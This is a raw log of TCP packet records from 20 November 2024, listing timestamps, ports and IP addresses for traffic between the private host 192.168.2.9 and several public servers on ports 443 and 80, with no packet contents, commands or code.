Nov 20, 2024 16:50:37.050435066 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.056360006 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.056411982 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.056432009 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.056461096 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.056509018 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.065710068 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.074052095 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.074089050 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.074116945 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.074141026 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.074191093 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.084594965 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.099071980 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.099113941 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.099138975 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.099164963 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.099206924 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.101070881 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.109854937 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.109891891 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.109930992 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.109952927 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.109993935 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.118561029 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.127204895 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.127245903 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.127335072 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.127365112 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.127553940 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.128509045 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.137151003 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.137259007 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.137280941 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.142779112 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.142867088 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.142889023 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.148188114 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.148283958 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.148308992 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.191015959 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.191085100 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.191112995 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.191134930 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.191673994 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.193531036 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.196280003 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.196386099 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.196409941 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.198889971 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.198940992 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.198976040 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.201464891 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.201617956 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.201642036 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.204031944 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.204122066 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.204142094 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.209168911 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.209234953 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.209254026 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.211476088 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.211622000 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.211642027 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.211942911 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.211970091 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.212007999 CET	443	49713	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.212053061 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.212093115 CET	49713	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.265703917 CET	49721	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.265748978 CET	443	49721	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.265827894 CET	49721	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.266268969 CET	49721	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:37.266280890 CET	443	49721	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:37.464276075 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:37.464315891 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:37.464380980 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:37.466084003 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:37.466100931 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:38.327975035 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:38.328026056 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:38.328090906 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:38.329255104 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:38.329269886 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:38.817156076 CET	49707	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:38.817313910 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:38.940294027 CET	80	49707	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:38.940310001 CET	80	49732	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:38.940449953 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:38.940628052 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:39.010198116 CET	443	49721	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:39.010700941 CET	49721	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:39.010730982 CET	443	49721	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:39.011034966 CET	443	49721	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:39.011358976 CET	49721	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:39.011425018 CET	443	49721	142.250.181.68	192.168.2.9
Nov 20, 2024 16:50:39.056533098 CET	49721	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:39.060146093 CET	80	49732	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:39.091087103 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:39.091166973 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:39.096616030 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:39.096635103 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:39.096956015 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:39.150299072 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:39.965352058 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:39.965434074 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:39.967786074 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:39.967808008 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:39.968158007 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.006131887 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:40.051336050 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.481975079 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.482064962 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.483594894 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:40.503098011 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:40.503098011 CET	49728	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:40.503127098 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.503139019 CET	443	49728	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.625557899 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:40.625621080 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.625747919 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:40.627340078 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:40.627368927 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:40.682800055 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:40.723340988 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:40.891437054 CET	80	49732	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:40.891593933 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:41.007339954 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:41.129504919 CET	80	49732	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:41.160034895 CET	49721	443	192.168.2.9	142.250.181.68
Nov 20, 2024 16:50:41.220310926 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.220325947 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.220341921 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.220379114 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.220408916 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.220419884 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.220433950 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:41.220433950 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:41.220433950 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:41.220453978 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.220489979 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:41.220499039 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:41.248533964 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.248610020 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:41.248620033 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:41.248662949 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:41.972493887 CET	80	49732	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:41.972651958 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:42.051702023 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:42.051779985 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:42.053221941 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:42.053236008 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:42.053553104 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:42.054697990 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:42.095335007 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:42.517862082 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:42.517904997 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:42.517921925 CET	49722	443	192.168.2.9	20.12.23.50
Nov 20, 2024 16:50:42.517930984 CET	443	49722	20.12.23.50	192.168.2.9
Nov 20, 2024 16:50:42.593128920 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:42.593219042 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:42.593277931 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:42.594597101 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:42.594616890 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:42.594628096 CET	49734	443	192.168.2.9	2.23.161.164
Nov 20, 2024 16:50:42.594634056 CET	443	49734	2.23.161.164	192.168.2.9
Nov 20, 2024 16:50:45.569816113 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:45.569873095 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:45.569936991 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:45.584794998 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:45.584810019 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:46.844718933 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:46.844769955 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:46.844880104 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:46.845875025 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:46.845886946 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:46.973186016 CET	80	49732	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:46.973289967 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:47.403371096 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.427911997 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.427933931 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.429075003 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.429141045 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.509033918 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.509171963 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.517177105 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.517189026 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.559539080 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.675108910 CET	49732	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:47.675374985 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:47.796710014 CET	80	49732	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:47.796732903 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:47.796823978 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:47.797081947 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:47.797131062 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:47.916522980 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.916711092 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:47.916781902 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.916853905 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:47.916902065 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:47.916903973 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.916913033 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:47.918190956 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.918212891 CET	443	49744	94.245.104.56	192.168.2.9
Nov 20, 2024 16:50:47.918236017 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.918266058 CET	49744	443	192.168.2.9	94.245.104.56
Nov 20, 2024 16:50:47.922329903 CET	49754	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:47.922370911 CET	443	49754	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:47.922431946 CET	49754	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:47.922807932 CET	49754	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:47.922827005 CET	443	49754	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:48.760324001 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:48.760437965 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:49.161472082 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:49.161492109 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:49.162244081 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:49.180130005 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:49.180130959 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:49.180198908 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:49.384495020 CET	49754	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:49.385242939 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:49.385277987 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:49.385334015 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:49.387962103 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:49.387974024 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:49.431339025 CET	443	49754	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:49.632380962 CET	443	49754	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:49.632445097 CET	49754	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:49.653831005 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:49.653901100 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:49.826419115 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:49.826453924 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:49.826517105 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:49.826836109 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:49.826858044 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:49.826910019 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:49.827095032 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:49.827106953 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:49.827230930 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:49.827240944 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:49.830041885 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:49.830054045 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:49.830104113 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:49.830626965 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:49.830636978 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:49.900243998 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:50.021140099 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:50.081866026 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:50.081893921 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:50.081924915 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:50.081983089 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:50.085480928 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.085480928 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.085480928 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.085480928 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.085480928 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.240391970 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.240425110 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:50.240473032 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.241260052 CET	49769	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.241270065 CET	443	49769	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:50.315929890 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:50.315937042 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:50.315979958 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:50.316253901 CET	49778	443	192.168.2.9	18.165.220.110
Nov 20, 2024 16:50:50.316262007 CET	443	49778	18.165.220.110	192.168.2.9
Nov 20, 2024 16:50:50.467649937 CET	49745	443	192.168.2.9	20.231.128.67
Nov 20, 2024 16:50:50.467674017 CET	443	49745	20.231.128.67	192.168.2.9
Nov 20, 2024 16:50:50.530010939 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:50.530055046 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:50.530122995 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:50.530395985 CET	49781	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:50.530411959 CET	443	49781	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:50.625550985 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:50.625607014 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:50.625669956 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:50.626408100 CET	49782	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:50.626426935 CET	443	49782	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:50.668632030 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:50.668678999 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:50.668978930 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:50.669384003 CET	49783	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:50.669394016 CET	443	49783	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:50.836201906 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:50.836267948 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.218286991 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.218522072 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.218544006 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.218646049 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.218806982 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.218835115 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.219461918 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.219513893 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.219727993 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.219958067 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.220011950 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.220047951 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.220062971 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.220916986 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.220983028 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.221179008 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.221218109 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.221297026 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.221309900 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.221318960 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.221329927 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.221576929 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.221590042 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.222127914 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.222217083 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.222243071 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.263346910 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.317600012 CET	49752	80	192.168.2.9	185.215.113.206
Nov 20, 2024 16:50:51.331331015 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.335704088 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.335727930 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.336241961 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.336260080 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.336297035 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.336311102 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.336327076 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.336350918 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.336858034 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.339005947 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.339081049 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.339174986 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.379333973 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.384771109 CET	49765	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.384771109 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.384777069 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.384802103 CET	443	49767	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.438349962 CET	80	49752	185.215.113.206	192.168.2.9
Nov 20, 2024 16:50:51.458844900 CET	49761	443	192.168.2.9	172.217.19.225
Nov 20, 2024 16:50:51.458875895 CET	443	49761	172.217.19.225	192.168.2.9
Nov 20, 2024 16:50:51.572338104 CET	49767	443	192.168.2.9	172.64.41.3
Nov 20, 2024 16:50:51.650259972 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.650363922 CET	443	49766	162.159.61.3	192.168.2.9
Nov 20, 2024 16:50:51.650492907 CET	443	49765	172.64.41.3	192.168.2.9
Nov 20, 2024 16:50:51.650563002 CET	49766	443	192.168.2.9	162.159.61.3
Nov 20, 2024 16:50:51.650582075 CET	443	49765	172.64.41.3	192.168.2.9
